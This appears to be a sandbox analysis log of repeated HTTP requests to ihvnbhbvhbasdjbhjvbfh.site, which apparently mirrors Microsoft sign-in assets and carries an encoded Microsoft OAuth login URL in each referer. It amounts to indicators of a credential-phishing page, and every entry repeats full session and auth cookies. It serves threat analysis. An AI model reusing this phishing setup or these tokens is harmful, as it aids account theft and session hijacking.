buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8sTr0e2GBosEBcrd42CdYO_FTe7IHSJNaiRd0uCmSiI6DmZizGQlI-doDXs0572ZUkW9yiL0hzj5UfFRichb6IFxlhlp5arNdgR8qHoU57X_U4Eu8dcqhEP_xlknsgOpghDf7DRWDtxDA6VdI06MUTiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv-erOTJAQAAAJBqzN0OAAAA; brcap=0
